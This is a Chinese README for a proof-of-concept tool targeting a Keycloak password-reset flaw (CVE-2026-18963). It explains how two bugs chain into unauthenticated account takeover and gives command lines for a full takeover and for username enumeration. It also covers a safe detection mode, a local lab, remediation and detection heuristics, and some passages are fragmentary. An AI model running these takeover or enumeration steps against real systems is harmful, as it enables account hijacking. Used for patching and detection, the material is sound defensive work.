仅凭用户名或电子邮件地址,未认证的攻击者即可在任何 Keycloak 账户上设置一个 任意密码。密码重置电子邮件会发送 给真正的受害者,但攻击者完全不需要它 — 攻击者从不读取邮箱,从不 点击链接,也不持有任何先前的凭据或会话。
受影响:Keycloak 26.0.0 – 26.7.1。已在 26.7.2 中修复。
一条命令。无需有效用户名,且无副作用 — 它不会发送 电子邮件,不会写入任何账户,并会在可利用步骤之前停止。```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check
Python 3.9+,仅标准库,无需安装任何东西。
| 退出码 | 判定 | 含义 |
|:---:|---|---|
| `0` | 🔴 **易受攻击** | 已提供停放电子邮件网关——此即漏洞本身 |
| `2` | 🟢 **已修复** | 流程转向登录并停留(修复 #51844 已生效) |
| `2` | 🟡 **已缓解** | 重置凭据不可达——*忘记密码* 已关闭。**并非修复补丁。** |
| `3` | ⚪ **无法定论** | 无法识别的响应——**不要将其视为通过** |
按领域(realm)运行——*忘记密码* 是领域级设置,`master` 也适用。
详细说明,以及为什么该检查无需用户且不触碰任何内容,请参阅
[§4a](#4a-safe-detection---safe-check--start-here)。
**已经知道自己受影响?** 跳转到 [修复措施](#8-remediation) 和
[检测 / 威胁狩猎](#9-detection)。
### 在没有目标的情况下试用
该仓库附带一个实验环境,可在同一领域内并排启动易受攻击的 **26.7.1** 与已修复的 **26.7.2**,并提供一个邮箱,用来观察重置邮件到达并保持未读状态,而与此同时账户已被接管:```bash
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ 仅限授权测试
本仓库面向防御者、事件响应者以及获得授权的 渗透测试人员。请仅针对您拥有或持有书面 许可的系统运行。此处所有内容都附带一个自包含的易受攻击实验环境 (
lab/),因此无需触碰任何外部系统即可了解该漏洞的工作原理。 未经授权指向第三方基础设施在大多数司法管辖区 均属违法行为,本项目不支持此类行为。
参考: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · 修复 keycloak#51844
两个缺陷被串联利用。单独任何一个都无法利用。
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() —— 任何携带表单键 tryAnotherWay 的 POST:```java
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
该标记是一个**不记录由哪个执行集设置的裸布尔值**。它
仅在处理提交的 `authenticationExecution` 参数的分支中被清除。省略该参数 —— 本 PoC 全程如此 ——
该标志将在整个认证会话期间保持设置。
`processFlow()` —— 当该标志为真时,正常流程评估将被跳过:```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
它会渲染一个可提交的表单,目标是当前被停驻的任何执行,而不是让会话一直停留在 “等待电子邮件”。
关键就是 processResult() case FORK: —— 当 发送重置电子邮件 触发时,它会将 CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> 写入,并将浏览器跳转到登录页面。被停驻的执行正是电子邮件门。
`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }
无条件的。没有任何机制验证流程是由有效的操作令牌恢复的,因此*到达* `action()` 被视为等同于证明对邮箱的控制权。
### 链条```
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
Six HTTP requests,无需认证,全程没有 authenticationExecution 参数。
model.getId(),并且 processFlow() 仅当它等于
CURRENT_AUTHENTICATION_EXECUTION 时才尊重它,否则将其移除。在攻击场景中两者不同
(choose-user id 与 e-mail-gate id 不同)——这正是该补丁检测到的,也正是
--safe-check 所依据的信号。ResetCredentialEmail.action() 现在要求
context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID)),
否则以 INVALID_USER 失败。6a9e60bb 引入的,该提交在重置流程中添加了“尝试其他方式”
认证器选择屏幕。更早的版本只是没有该代码路径。这包括旧的基于 WildFly 的发行版
和 RH-SSO 7.x,它们不受此漏洞影响,但已停止维护且易受许多其他漏洞影响。
停留在旧版本并不是一种修复措施。26.7.2 是社区版本线发布的唯一修复版本。
如果部署位于 26.0 – 26.6 上,则该版本线没有补丁版本——修复需要次版本升级,
而不是点版本。26.4.15 / 26.6.6 标签是厂商回移植,不能与社区镜像互换。前提条件: realm 已启用 Forgot password,并且其绑定的重置凭据流程
使用内置的 reset-credential-email 认证器。
该仓库同时提供存在漏洞和已修复的 Keycloak,导入相同的 realm, 并使用 Mailpit 捕获重置邮件—— 这样您可以观察到邮件到达并保持未读状态,而账户却被接管。```bash cd lab docker compose up -d
| 服务 | URL | 版本 |
|---|---|---|
| `kc-vuln` | http://localhost:8080 | 26.7.1 — **存在漏洞** |
| `kc-patched` | http://localhost:8100 | 26.7.2 — **已修补的对照** |
| `kc-mailpit` | http://localhost:8025 | 受害者的邮箱 |
领域 `poc`,公共客户端 `poc-app`,用户 `victim` / `OriginalPassw0rd!`,Keycloak 管理员 `admin` / `admin`。
使用 `KC_VULN_VERSION` / `KC_PATCHED_VERSION` 固定不同的构建版本:```bash
KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln
在两次运行之间,lab/reset-victim.sh 用于恢复受害者的密码
(KC=http://localhost:8100 lab/reset-victim.sh 针对已修补的实例)。
lab/legit_reset.py 通过从 Mailpit 中提取 action-token 链接并点击它,
执行一次真实的密码重置。它是第 9 节检测工作的对照样本——在同一个 realm 中
分别运行它和漏洞利用脚本,然后对比两者的痕迹。
清理:docker compose down -v。
Python 3.9+,仅使用标准库——无任何依赖,可直接部署到任意跳板机。``` --base Keycloak base URL (e.g. https://sso.example.com) --realm realm name --client-id any enabled public client with the standard flow --redirect-uri a URI permitted by that client (default http://localhost:9999/callback) --insecure skip TLS verification --verbose log every HTTP request --dump FILE write the response body of a failing step to FILE
`--client-id` 可以是任何已启用的、支持标准流程的公共客户端。内置的
`account` 客户端存在于每个 realm 中,是可靠的选择,但它限制了
重定向 URI,因此 `--redirect-uri` **必须**为
`<base>/realms/<realm>/account/` — 默认值会被拒绝,步骤 1 将失败。
### 4a. 安全检测(`--safe-check`)— 从这里开始
**无需有效的用户名**,且**没有副作用**。这是您必须避免干扰目标时使用的
探测方式。```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--safe-check
为什么它不需要用户,也不会发送邮件。 ResetCredentialEmail.authenticate() 对未知用户同样会分支:```java
if (user == null) { context.forkWithSuccessMessage(EMAIL_SENT); return; }
`processResult()` 的 `case FORK:` 因而将 `CURRENT_AUTHENTICATION_EXECUTION`
驻留在电子邮件执行上,**即使没有找到任何人**——并且不会发送邮件,
因为没有任何收件人。探针在判别器处停止,从不
向门 POST,因此 `action()` 永远不会运行:目标上不会出现 NPE,不会写入 `emailVerified`,
不会发送邮件,也不会触碰任何账户。
**它仅基于正向信号进行断言。** VULNERABLE ⟺ 第 5 步返回一个表单
仍位于 `login-actions/reset-credentials` 内,其 `execution` 与
选择用户的执行不同。那 *就是* 那个 bug:陈旧的
`AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED` 记录支撑着被驻留的电子邮件门。
两部分都很重要——路径证明我们仍处于重置流程中,不同的
execution id 证明它是电子邮件门而非重新渲染。
任何其他情况 **不会** 被静默视为已修补。PATCHED 需要自己的证据
(分叉到 `login-actions/authenticate` *并且* 存在密码输入);其余所有情况
均为 INCONCLUSIVE,需要人工判断。早期的设计将“不是门表单”视为已修补,
这会将每个自定义主题、错误页面、WAF
拦截和中间页面悄悄变成一份虚假的健康证明。
### 4b. 非破坏性验证 (`--check`)
驱动完整链,但停在“更新密码”表单处。在没有操作令牌的情况下
到达该表单即可确凿判定。```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--victim [email protected] --check
两个副作用不可避免,因为它们发生在密码表单的上游 — 请在测试范围中注明:
action() 会在账户上设置 emailVerified = true。不会修改任何凭据。建议使用专用测试账户。
仅限实验环境或明确授权的演示。```bash
python3 cve_2026_18963_poc.py
--base http://localhost:8080 --realm poc --client-id poc-app
--victim victim --new-password 'PoCPassw0rd!1'
退出 `0` 表示存在漏洞 · `2` 表示无法利用 · `1` 表示密码已更改但确认授权失败
(将 `--verify-client-id` 指向具有 Direct Access Grants 的客户端)。
完成该流程还会返回 **受害者的 OIDC 授权码**,因此
接管是即时的 — 无需使用新密码再次登录。
### 4d. 用户名枚举(`--enum`)
同样的缺陷也是一个用户名预言机(oracle),并且比 Keycloak 通常允许的更强。`ResetCredentialEmail.authenticate()` 对真实用户和未知用户有意返回相同的 *"You should receive an email shortly"*,因此重置表单本身无法用于枚举 — 这一防御在步骤 4 仍然有效。但在 **步骤 6** 被打破,`action()` 无条件解引用用户(`context.getUser().setEmailVerified(true)`)。
| 标识符 | 步骤 6 | 判定结果 |
|---|---|---|
| 真实用户 | `200`,到达更新密码表单 | 有效 |
| 未知用户 | `400`(NPE 错误页面) | 无效 |```bash
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc --client-id poc-app \
--enum candidates.example.txt
永不改动密码。若任何标识符解析成功,则退出码为 0,否则为 2。
每次探测的成本——运行前请阅读。 要触及预言机(oracle)必须完成第 4 步,因此针对真实账户的每一次探测都会向该账户持有人发送一封真实的密码重置电子邮件,并在其记录中将 emailVerified 设为 true。 这不是一次静默检查:账户持有人可以看到它,而且它会篡改他们的数据。一份 5,000 个名字的字典意味着向真实用户发出 5,000 封电子邮件,并产生 5,000 个被篡改的账户。
用它来证明预言机存在于少数几个标识符上,以供报告使用——而不是用来收割目录。这些防护限制刻意保持保守:
--enum-max N 拒绝长度超过 N 的列表(默认 25)--enum-delay SEC 在两次探测之间暂停(默认 2.0)调高任一值都应当是有意识的决定,并记录在测试记录中。
报告角度: 这绕过了 Keycloak 有意实现的一项反枚举控制。值得将其与接管漏洞一起作为独立发现写入报告,而且它使*“我们的用户名无法被猜到”*这一缓解因素不再成立。
任何严肃的部署都会附带自定义登录主题,而自定义主题会重命名或删除默认元素 id(kc-form-login、kc-reset-password-form、kc-select-credential-form、kc-passwd-update-form)。以这些 id 为判断依据的工具恰恰会在最重要的部署上报告假阴性——本工具在重写之前就是这样。现实中见到的主题使用类似 id="login-form" 的 id,并且提供的忘记密码链接带有空的 href。
因此,此 PoC 不依赖任何由主题控制的内容:
action=——login-actions/reset-credentials、login-actions/authenticate、login-actions/required-action——以及其中的 execution 查询参数。这些路径由 Keycloak 自身的 LoginActionsService 生成,而非由主题生成。grep 一下源码:其中没有任何一个 kc-* id。/realms/<realm>/login-actions/reset-credentials?client_id=…&tab_id=… 并直接探测它,tab_id 取自登录页面确实暴露出来的任意表单。如果目标仍然返回 INCONCLUSIVE,请使用 --verbose --dump out.html 运行并阅读响应——该工具刻意拒绝猜测。
强制启用 PKCE 的客户端会在第 1 步拒绝请求,并返回 Missing parameter: code_challenge_method。这会被报告为 INCONCLUSIVE(退出码 3),绝不会报告为通过。在 PKCE 支持落地之前,如果某个 realm 唯一可用的 public 客户端强制要求 PKCE,就无法用此工具检查该 realm——请尝试内置的 account 客户端,它通常不强制启用 PKCE。
下面每次运行都针对本仓库中的实验环境,使用与发布时一致的代码。
除公告之外,还有两个值得指出的发现:
ResetCredentialEmail.authenticate() 在 user.getEmail() 为 null 时会走 forkWithSuccessMessage 路径,这仍然会通过 case FORK: 搁置执行流。SMTP 发送失败时也同样如此——邮件服务器故障或缺失并不是缓解措施。 这与 AD/LDAP 联合 realm 直接相关,因为这些 realm 中的账户常常没有 mail 属性。MFA 不是缓解措施。 默认的 reset-credentials 流程不包含 OTP 步骤,而一旦通过,攻击者就可以移除受害者已注册的认证因素。
修复方式:升级。 社区构建请升级到 26.7.2,或使用与您的订阅相匹配的厂商 backport 标签。以下所有内容都只是权宜之计。
临时缓解措施,最好的排在最前:
master。如果 realm 绑定的重置流程完全是自定义的,并且从不调用 reset-credential-email,则无法通过此路径被利用。
Keycloak 不会发出 “action token skipped” 事件,因此检测是启发式的。请将 lab/legit_reset.py 与漏洞利用脚本并行运行,生成两条轨迹并进行对比。
GET /login-actions/action-token?...(受害者点击邮件)。绕过流程没有这样的 GET。相反,它会出现一个 POST 到 login-actions/reset-credentials,其请求体包含 tryAnotherWay,随后是第二个 POST 到同一路径、请求体为空,然后是密码表单。重置流程中出现 tryAnotherWay POST 并不是默认 UI 在正常使用中会产生的行为。SEND_RESET_PASSWORD 之后紧跟 UPDATE_PASSWORD,两者在几秒内共享相同的 code_id——在实验环境中不到一秒。已经打开邮件的用户同样可以很快完成操作,因此请与代理日志相互印证。emailVerified 翻转为 true 但没有相应 VERIFY_EMAIL 事件的账户是一个有用的辅助指标,而且是攻击者无法避免留下的痕迹。如果事件记录或保留功能已关闭,那么没有事件并不能证明任何问题。在断定某个部署未被攻击之前,请先检查保留窗口。
Snizi — github.com/Snizi — [email protected]
以 MIT License 许可发布。欢迎提交 Issue 和 PR——尤其是 PKCE 支持以及更多现实世界中的主题怪癖。
| 版本线 | 受影响 | 社区修复 |
|---|
| Legacy(基于 WildFly 的 Keycloak,≤ 17) | 不受影响 | — |
| Quarkus 17 – 25.x | 不受影响 | — |
| 26.0 | 26.0.0 – 26.0.17 | 无 |
| 26.1 | 26.1.0 – 26.1.5 | 无 |
| 26.2 | 26.2.0 – 26.2.16 | 无 |
| 26.3 | 26.3.0 – 26.3.5 | 无 |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15(厂商回移植标签) |
| 26.5 | 26.5.0 – 26.5.7 | 无 |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6(厂商回移植标签) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 |
| 退出码 | 判定 | 含义 |
|---|
0 | VULNERABLE | 提供了停放的电子邮件网关 —— 这正是漏洞本身 |
2 | PATCHED | 流程分流到登录并停留在那里(存在修复 #51844) |
2 | MITIGATED | reset-credentials 不可访问 —— 忘记密码 已关闭。不是修补程序。 |
3 | INCONCLUSIVE | 无法识别的响应 —— 不要将其视为通过 |
| 测试 | 目标 | 结果 |
|---|
--safe-check | 26.7.1 | VULNERABLE,退出码 0——返回的是电子邮件门(execution ≠ choose-user) |
--safe-check | 26.7.2 | PATCHED,退出码 2——分叉到登录页并停留 |
--safe-check,Forgot password 关闭 | 26.7.2 | MITIGATED,退出码 2——HTTP 400,流程不可达 |
| 完整接管 | 26.7.1 | 退出码 0——已设置密码,已签发 OIDC 代码,password grant 确认 |
| 完整接管 | 26.7.2 | 退出码 2——在第 5 步被阻止,账户未受影响 |
--check | 26.7.1 | 到达 UPDATE_PASSWORD;之后验证密码未更改 |
--enum | 26.7.1 | victim 和 [email protected] 为 VALID,does-not-exist 为 INVALID |
| 接管后的凭据状态 | 26.7.1 | 新密码 → 200,旧密码 → 400 |
| 被阻止运行后的凭据状态 | 26.7.2 | 旧密码 → 200,攻击者密码 → 400 |
| 受害者邮箱 | Mailpit | 重置邮件已送达且未读;action-token 链接从未被获取 |